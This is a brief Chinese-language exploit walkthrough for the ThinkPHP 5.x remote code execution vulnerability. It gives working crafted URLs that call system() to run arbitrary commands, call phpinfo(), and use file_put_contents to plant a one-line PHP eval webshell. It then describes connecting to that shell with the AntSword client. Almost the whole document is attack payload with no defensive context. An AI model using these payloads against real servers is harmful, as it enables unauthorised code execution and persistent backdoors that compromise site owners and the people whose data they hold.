Thinkphp 5.x遠程代碼執行漏洞存在於Thinkphp 5.0版本及5.1版本,通過此漏洞,可以在遠程執行任意代碼,也可寫入webshell
下面是對其進行的漏洞利用!
漏洞利用:
1,利用system函數遠程執行任意代碼:
構造url為:
http://127.0.0.1/index.php //這里是測試環境的主頁
?s=index/think\app/invokefunction //s變量是這個漏洞利用的主要變量
&function=call_user_func_array //漏洞存在於這個函數中
&vars[0]=system //這里使用了system函數進行代碼執行
&vars[1][]=pwd //在這里輸入想要執行的代碼,這里是顯示當前文件的路徑
2,利用phpinfo函數顯示phpinfo:
構造url為:
http://127.0.0.1/index.php
?s=index/\think\app/invokefunction
&function=call_user_func_array
&vars[0]=phpinfo //使用phpinfo函數
&vars[1][]=1
3,利用file_put_contents函數寫入webshell:
構造url為:
http://127.0.0.1/index.php
?s=index/think\app/invokefunction
&function=call_user_func_array
&vars[0]=file_put_contents //使用file_put_contents函數
&vars[1][]=shell.php //webshell文件名
&vars[1][]=<?php @eval($_POST['pass']);?> //寫入一句話木馬,注意這里需要用POST,而不能用GET
回顯30代表執行成功!
查看127.0.0.1/shell.php,查看源代碼,查看是否成功寫入
用蟻劍連接,這里用菜刀連會失敗,嘗試多次無果,不知是何原因,所以推薦使用蟻劍進行連接!